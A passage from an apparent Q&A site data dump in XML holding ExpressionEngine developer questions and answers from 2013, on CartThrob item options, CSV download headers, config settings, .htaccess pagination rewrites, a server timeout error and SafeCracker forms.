readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are best leaving your code in the template and commenting heavily to make the code more readable/maintainable.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-18T16:16:38.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7455" PostTypeId="1" AcceptedAnswerId="7458" CreationDate="2013-03-18T16:34:39.070" Score="1" ViewCount="238" Body="&lt;p&gt;I'm trying to get Item Options to show in Cartthrob's order email. I'm using the code from the documentation but it doesn't seem to work;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:order_items order_id=&quot;{entry_id}&quot; }&#xA;    &amp;lt;tr class=&quot;{item:switch=&quot;odd|even&quot;}&quot;&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;{item:entry_id}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;&#xA;            {item:title}&#xA;                &amp;lt;p&amp;gt;&#xA;                    &amp;lt;span style=&quot;font-size:9px;&quot;&amp;gt;&#xA;                {item_options}&#xA;                     &amp;lt;strong&amp;gt;{option_label}&amp;lt;/strong&amp;gt; {option_name}: {option_value}&#xA;                {/item_options}&#xA;                &amp;lt;/span&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            {if is_package}&#xA;                &amp;lt;p&amp;gt;&#xA;                    &amp;lt;span style=&quot;font-size:9px;&quot;&amp;gt;&#xA;                {packages}&#xA;                    {sub:title}&amp;lt;br /&amp;gt; &#xA;                {/packages}&#xA;                &amp;lt;/span&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td align=&quot;right&quot;&amp;gt;&amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;{item:quantity}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td align=&quot;center&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td align=&quot;right&quot;&amp;gt;&amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;{item:price}&amp;lt;br /&amp;gt;(w/ tax: {item:price_plus_tax})&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td align=&quot;right&quot;&amp;gt;&#xA;            &amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;&#xA;                {item:subtotal}&amp;lt;br /&amp;gt;(w/ tax: {item:subtotal_plus_tax})&#xA;            &amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td align=&quot;right&quot;&amp;gt;&#xA;            {if item:product_download_url}&#xA;            &amp;lt;span style=&quot;font-size:12px;&quot;&amp;gt;&amp;lt;a href=&quot;{exp:cartthrob:get_download_link field='product_download_url' entry_id='{item:entry_id}'}&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/exp:cartthrob:order_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The item options are definitely captured because when I view the order entry it shows all the selected options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had this trouble?&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-03-18T16:54:24.697" Title="Show item options in Cartthrob order email" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7456" PostTypeId="1" AcceptedAnswerId="7457" CreationDate="2013-03-18T16:35:56.003" Score="1" ViewCount="61" Body="&lt;p&gt;One of the clients the company I work for uses Expression Engine for their custom site. It was built roughly 2+ years before I hired in, and it’s our only EE site. The person who built it left the company a few months ago, and never trained anyone to maintain the site, so fixing/updating the site has been a task for everyone involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out they utilize MX Google Map to display locations for the client. The initial location page loads fine, with several locations, and when I navigate to individual locations, those pages load fine. The search_results page, however, throws this error: GeoRequest : Can’t connect to source;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few things about this situation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;No one has updated the site in roughly a month.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Client does not have access to control panel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;PHP, MySQL and other server settings have not changed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The error just appeared this morning…&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Long story short, the client is being vocal about wanting a fix asap. Since nothing has changed, site settings or server settings, I can only imagine that it’s a problem with Google’s Map API? Perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1190" LastActivityDate="2013-03-18T16:38:31.897" Title="What may cause a GeoRequest:Can't connect to source; error in Expression Engine?" Tags="|google-maps|mx-google-map|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7457" PostTypeId="2" ParentId="7456" CreationDate="2013-03-18T16:38:31.897" Score="0" Body="&lt;p&gt;please check &lt;a href=&quot;http://www.eec.ms/forums/viewthread/748/&quot; rel=&quot;nofollow&quot;&gt;next patch for mx google map&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-18T16:38:31.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7458" PostTypeId="2" ParentId="7455" CreationDate="2013-03-18T16:54:24.697" Score="2" Body="&lt;p&gt;try to modify your template next way:      &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         {item_options}&#xA;             {if selected}&amp;lt;strong&amp;gt;{option_label}&amp;lt;/strong&amp;gt; {option_name}: {option_value}{/if}&#xA;        {/item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-18T16:54:24.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7459" PostTypeId="1" CreationDate="2013-03-18T17:26:06.880" Score="2" ViewCount="3281" Body="&lt;p&gt;I have an Exp Eng template that generate a .csv format file using a channel tag. I also insert the headers of the file using php, as shown below (those are the fist lines of the template). In Firefox the file downloads with a simple click on a link to the template and everything seems fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;header(&quot;content-type: text/csv&quot;);&#xA;header(&quot;content-disposition: attachment; filename=filename.csv&quot;);&#xA;header(&quot;Pragma: no-cache&quot;);&#xA;header(&quot;Cache-Control: private&quot;);&#xA;header(&quot;Expires: 0&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all seems to be working but Safari on the Mac will insist on downloading it with an .html extension as in 'filename.csv.html'. I've researched this on the Internet at many say it is just a peculiarity with Safari. But another person accessing the file says it happens no matter what browser they are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Exp Eng I have the template settings as an &quot;html&quot; template. The other choices don't seem to work, like RSS/feed, and static would disable the channel tag. Any ideas on how to get around this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Bob.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-03-19T09:42:15.217" Title="CSV format file generated from a template, how to prevent Safari on Mac downloading as html file?" Tags="|csv|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7460" PostTypeId="1" AcceptedAnswerId="7475" CreationDate="2013-03-18T17:48:50.897" Score="4" ViewCount="411" Body="&lt;p&gt;Here I am with another Expresso Store question. &#xA;My client just decided to sell memberships along other items (books), and this kind of item requires a recurring payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Store doesn't handle recurring payments natively, but I know that it's possible to do it with PayPal, and PayPal is the only payment method my client is using. Obviously I would like to use the same Store cart and checkout form for selling both regular items and memberships. &#xA;I was wondering if either: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Someone else tried to integrate PayPal recurring payment with Store and if so which approach did you use? &lt;/li&gt;&#xA;&lt;li&gt;Would it be possible to also add subscription management functionality using Zoo Visitor (or some other add-on)?? Suggestions?&lt;/li&gt;&#xA;&lt;li&gt;There's some Store add-on around that does the trick - I've looked for it, but I could have missed it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any suggestion about which kind approach I should choose would be much appreciated. I think this is a common problem and I'd like to share my solution for the benefit ot the community.&lt;/p&gt;&#xA;" OwnerUserId="710" LastActivityDate="2013-11-12T22:26:10.887" Title="Integrating recurring payments and Store" Tags="|add-on|expresso-store|add-on-development|ecommerce|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7461" PostTypeId="2" ParentId="7459" CreationDate="2013-03-18T18:33:55.607" Score="0" Body="&lt;p&gt;Depending on the data you want to export, you might be able to accomplish your goal with the &lt;a href=&quot;http://devot-ee.com/add-ons/ajw-export&quot; rel=&quot;nofollow&quot;&gt;AJW Export&lt;/a&gt; plugin. Could be worth looking at if you haven't already.&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2013-03-18T18:33:55.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7462" PostTypeId="2" ParentId="7459" CreationDate="2013-03-18T19:14:31.503" Score="1" Body="&lt;p&gt;Per this &lt;a href=&quot;https://stackoverflow.com/questions/1465573/forcing-to-download-a-file-using-php&quot;&gt;&lt;strong&gt;StackOverflow answer&lt;/strong&gt;&lt;/a&gt;, try adding the following to your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddType application/octet-stream .csv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, try changing your Content-Type header code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('Content-Type: application/csv');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-03-18T19:21:56.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7463" PostTypeId="1" AcceptedAnswerId="7464" CreationDate="2013-03-18T19:41:06.290" Score="1" ViewCount="352" Body="&lt;p&gt;Is there a difference between the config variables $config['compress_output'] and $config['gzip_output']?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was getting some errors with a particular add-on while having $config['compress_output']= FALSE; set in config.php. Adding $config['gzip_output'] = &quot;n&quot;; to config.php made the error go away.&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2013-03-18T21:09:33.960" Title="Config setting clarification" Tags="|config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7464" PostTypeId="2" ParentId="7463" CreationDate="2013-03-18T20:04:10.430" Score="1" Body="&lt;p&gt;It is the same setting actually. &#xA;In case if you have gzip_output = y, compress_output will be = TRUE.&#xA;I think it possible some legacy from EE1 (gzip_output) and and CI (compress_output)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE_Output.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Compress the output&#xA;// We simply set the ci config value to true&#xA;&#xA;if ($EE-&amp;gt;config-&amp;gt;item('gzip_output') == 'y' AND REQ == 'PAGE')&#xA;{&#xA;    $EE-&amp;gt;config-&amp;gt;set_item('compress_output', TRUE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-18T20:04:10.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7465" PostTypeId="1" CreationDate="2013-03-18T20:37:21.867" Score="1" ViewCount="291" Body="&lt;p&gt;I have a template that is same that directory name (namely, 'video'). Both template and files in directory are linked thoughout the site, so they cannot be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to remove index.php from all links, but the recommended method does not work in this particular case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added following lines to my .htaccess, that makes the template 'main' page to be displayed correctly, but the pagination links still do not work. I'm getting 404 returned by server, not EE.&#xA;I.e /video/ works, but /video/P10 does not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^video$ [NC]&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png|pdf|swf|flv|avi|mpe?g) [NC]&#xA;RewriteRule ^video(.*)$  index.php/video$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me advice on what directive do I have to add to .htaccess so that /video/ and /video/P10 would be correctly served by EE, but /video/some_file.avi would be served by file system?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-03-20T19:38:44.280" Title="Pagination on template that is same as directory name and index.php removal" Tags="|.htaccess|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7467" PostTypeId="1" AcceptedAnswerId="7484" CreationDate="2013-03-18T21:09:08.363" Score="6" ViewCount="74484" Body="&lt;p&gt;I'm getting a 500 Error when trying to save a rather large entry. (By &quot;rather large&quot; I mean it includes a 4x9 Matrix, 31x4 Matrix, 5x3 Matrix, Tag, and few text fields.) The Publish screen hangs for several seconds after I click Save and then goes to the error, without saving the entry (as far as I can tell).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error logs include the following messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Mon Mar 18 16:44:18 2013] [warn] [client 75.148.191.126] mod_fcgid: read data timeout in 45 seconds, referer: http://xxx/admin.php?S=dd4fca62fd66ca80ad02acde5f1ae08bb8e947d0&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=3&amp;amp;entry_id=1512&amp;amp;filter=YToxOntzOjE1OiJyZXR1cm5fdG9femVuYnUiO3M6MToieSI7fQ==&#xA;[Mon Mar 18 16:44:18 2013] [error] [client 75.148.191.126] Premature end of script headers: admin.php, referer: http://xxx/admin.php?S=dd4fca62fd66ca80ad02acde5f1ae08bb8e947d0&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=3&amp;amp;entry_id=1512&amp;amp;filter=YToxOntzOjE1OiJyZXR1cm5fdG9femVuYnUiO3M6MToieSI7fQ==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I Googled around a bit and couldn't find anything very conclusive. Have any of yall seen this before? Is it akin to a MySQL &quot;server has gone away&quot; error?&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2019-05-05T00:13:30.543" Title="mod_fcgid: read data timeout in 45 seconds --&gt; Premature end of script headers: admin.php" Tags="|error|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7468" PostTypeId="2" ParentId="7463" CreationDate="2013-03-18T21:09:33.960" Score="0" Body="&lt;p&gt;I believe that EE requires gzip_output to be set and not compress_output. There are several places in the EE system files that are using/referencing gzip_output but make no mention of compress_output, most tellingly in Template.php. Compress_output may be limited to just CodeIgniter itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;expressionengine/libraries/Template.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2869        // GZip mode: {gzip_mode}&#xA;2870:       $str = str_replace(LD.'gzip_mode'.RD, ($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('gzip_output') == 'y') ? $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('enabled') : $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('disabled'), $str);&#xA;2871                &#xA;2872        // App version: {version}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;expressionengine/models/admin_model.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;75              'output_cfg'        =&amp;gt;  array(&#xA;76                  'send_headers'              =&amp;gt; array('r', array('y' =&amp;gt; 'yes', 'n' =&amp;gt; 'no')),&#xA;77:                 'gzip_output'               =&amp;gt; array('r', array('y' =&amp;gt; 'yes', 'n' =&amp;gt; 'no')),&#xA;78                  'force_query_string'        =&amp;gt; array('r', array('y' =&amp;gt; 'yes', 'n' =&amp;gt; 'no')),&#xA;79                  'redirect_method'           =&amp;gt; array('s', array('redirect' =&amp;gt; 'location_method', 'refresh' =&amp;gt; 'refresh_method')),&#xA;&#xA;258                         'template_debugging'        =&amp;gt; array('template_debugging_explanation'),&#xA;259                         'max_caches'                =&amp;gt; array('max_caches_explanation'),&#xA;260:                        'gzip_output'               =&amp;gt; array('gzip_output_explanation'),&#xA;261                         'server_offset'             =&amp;gt; array('server_offset_explain'),&#xA;262                         'default_member_group'      =&amp;gt; array('group_assignment_defaults_to_two'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="440" LastActivityDate="2013-03-18T21:09:33.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7469" PostTypeId="1" CreationDate="2013-03-18T21:14:12.517" Score="1" ViewCount="189" Body="&lt;p&gt;I have a safecracker form for visitors to submit events. I'm trying to capture their email address to use with MX notify ({author_email}) . Is this even possible? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;calendar_saef_edit&quot;&amp;gt;&#xA;   {exp:safecracker &#xA;   channel=&quot;calendar_events&quot; &#xA;   return=&quot;/events/add-event/success&quot;&#xA;   logged_out_member_id=&quot;2&quot;&#xA;   error_handling=&quot;inline&quot;&#xA;   status=&quot;Pending&quot;&#xA;   }&#xA;&#xA;     {if error}&#xA;                &amp;lt;p class=&quot;error&quot;&amp;gt;{error}&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;&#xA;   &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;label&amp;gt;Your Full Name:&amp;lt;/label&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;full_name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;label&amp;gt;Your Email Address:&amp;lt;/label&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;event_email_address&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;label&amp;gt;Business/Organization Name:&amp;lt;/label&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;business_name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;label&amp;gt;Event Title:&amp;lt;/label&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;   {exp:calendar:date_widget event_id=&quot;{segment_5}&quot;}&#xA;    &amp;lt;p&amp;gt;&amp;lt;span class=&quot;label label-info&quot;&amp;gt;Hint:&amp;lt;/span&amp;gt; If an event is multiple days, change the &quot;repeat&quot; drop-down menu to &quot;Select Dates&quot;. Then, click each day that the event is happening. Don't create an event for every single day. &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&#xA;      &amp;lt;label&amp;gt;Event Photo:&amp;lt;/label&amp;gt;&#xA;      {field:event_photo}&#xA;&#xA;&#xA;   &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;label&amp;gt;Event Summary:&amp;lt;/label&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;  {field:event_summary}&#xA;   &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;label&amp;gt;Event Location:&amp;lt;/label&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;event_location&quot; value=&quot;{event_location}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;input type=&quot;hidden&quot; id=&quot;status&quot; name=&quot;status&quot; value=&quot;Pending&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;mbr_email&quot; name=&quot;mbr_email&quot; value=&quot;{event_email_address}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;author_email&quot; name=&quot;author_email&quot; value=&quot;{event_email_address}&quot;&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit Event&quot; class=&quot;btn btn-success&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;   {/exp:safecracker}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-07-04T14:25:05.797" Title="Passing variables to MX Notify via Safecracker" Tags="|safecracker|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7470" PostTypeId="2" ParentId="7437" CreationDate="2013-03-18T21:15:59.143" Score="5" Body="&lt;p&gt;If you have an Assets field called “article_images”, you can create a simple HTML upload input like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;article_images&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;article_images_filedir&quot; value=&quot;1&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first input is the actual File input, and the second tells Assets which upload directory to place it in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In time, Assets will also support the &lt;code&gt;multiple=&quot;multiple&quot;&lt;/code&gt; attribute on the File input, for uploading multiple files at once, but for that we need a small SafeCracker patch to make it to an official EE release.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="722" LastEditDate="2013-03-19T13:17:12.647" LastActivityDate="2013-03-19T13:17:12.647" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7471" PostTypeId="2" ParentId="7469" CreationDate="2013-03-18T21:22:53.670" Score="1" Body="&lt;p&gt;nope,  it is not possible. Only if modify ext. and add option to parsing custom fields for mbr_email&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-18T21:22:53.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7472" PostTypeId="1" AcceptedAnswerId="7493" CreationDate="2013-03-18T22:06:47.960" Score="1" ViewCount="149" Body="&lt;p&gt;EE 2.5.5. I've got a {exp:channel:entries} on products channel. Inside I have a {reverse_related_entries id=&quot;reviews&quot;}. I'm getting 4 reviews, when there are only 2. The first 2 are blank. I have 2 products entries, but only displaying 1 product based on URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the other product, I still get 4 reviews, but they're all blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Here's the full code for the product page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='includes/header'}&#xA;&#xA;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; }&#xA;&amp;lt;div id=&quot;hero&quot;&amp;gt;&amp;lt;img src=&quot;{hero_image}&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;{embed='includes/topnav'}&#xA;{if no_results}&#xA;&amp;lt;p&amp;gt;Unknown product.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&amp;lt;div id=&quot;prodinfo&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;description&quot; class=&quot;desc&quot;&amp;gt;{product_description}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;ulimagescontainer&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;prodimages&quot;&amp;gt;&#xA;        {reverse_related_entries }&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{product_image_video:large}&quot;&amp;gt;&amp;lt;img src=&quot;{product_image_video:tiny}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/reverse_related_entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- END #ulimagescontainer --&amp;gt;&#xA;    &amp;lt;div class=&quot;clearboth&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    {if product_features &amp;gt; ''}&#xA;    &amp;lt;div id=&quot;productfeatures&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Features&amp;lt;/h3&amp;gt;&#xA;    {product_features}&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- END #productfeatures --&amp;gt;&#xA;    &amp;lt;div class=&quot;clearboth&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if vehicle_callouts &amp;gt; ''}&#xA;    &amp;lt;div id=&quot;vehicle_callouts&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{vehicle_callouts}&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;clearboth&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    {reverse_related_entries id=&quot;product_reviews&quot; }&#xA;    {if no_reverse_related_entries}&#xA;    {if:else}&#xA;    {if count == 1}&#xA;    &amp;lt;div id=&quot;product_reviews&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Reviews&amp;lt;/h3&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;div class=&quot;reviewitem&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;synopsis&quot;&amp;gt;&#xA;        {review_synopsis}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;author&quot;&amp;gt;{review_author}&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;link&quot;&amp;gt;&amp;lt;a href=&quot;{review_link}&quot; target=&quot;_blank&quot;&amp;gt;{review_publication}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {if count == total_results}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;clearboth&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {/if}&#xA;    {/reverse_related_entries}&#xA;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- END #prodinfo --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{embed='includes/footer'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="1126" LastEditDate="2013-03-19T14:38:45.870" LastActivityDate="2013-03-19T15:19:00.793" Title="Why am I getting 4 results in reverse_related_entries?" Tags="|relationships|reverse-related-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7473" PostTypeId="2" ParentId="7392" CreationDate="2013-03-18T22:50:07.153" Score="9" Body="&lt;p&gt;Ok, this is something it looks like Ellis is not ready to really let people do even though it's in documentation, except perhaps developers who would provide via a full add-on installer and handling. However, it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. First, there is an EE interface to install new button features, but it is not called anywhere, Addons_installer:install_rte_tool. All it does is add a record to the database table exp_rte_tools, which you can do manually via phpMyAdmin or similar, comparable to other records in the table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we've added Mytool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t1NN4.png&quot; alt=&quot;Example record added for My Tool&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you'll want to have your Mytool_rte class source code in place before you do this, as there is a feature in EE that automatically removes these tool records when the Rich Text field starts up, if the source isn't present. You can read about that &lt;a href=&quot;http://ellislab.com/forums/viewthread/217817/#1005388&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's get everything else set up, and then you can to add your database record before testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. Where should you put your source code, and what are particulars it needs? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You put your button source folder in system/third_party&lt;/li&gt;&#xA;&lt;li&gt;You name your source folder with a single lowercase base name; example mytool &lt;/li&gt;&#xA;&lt;li&gt;The tool filename is rte. plus  this name; example rte.mytool.php&lt;/li&gt;&#xA;&lt;li&gt;The class inside is the name with initial cap, plus _rte; example 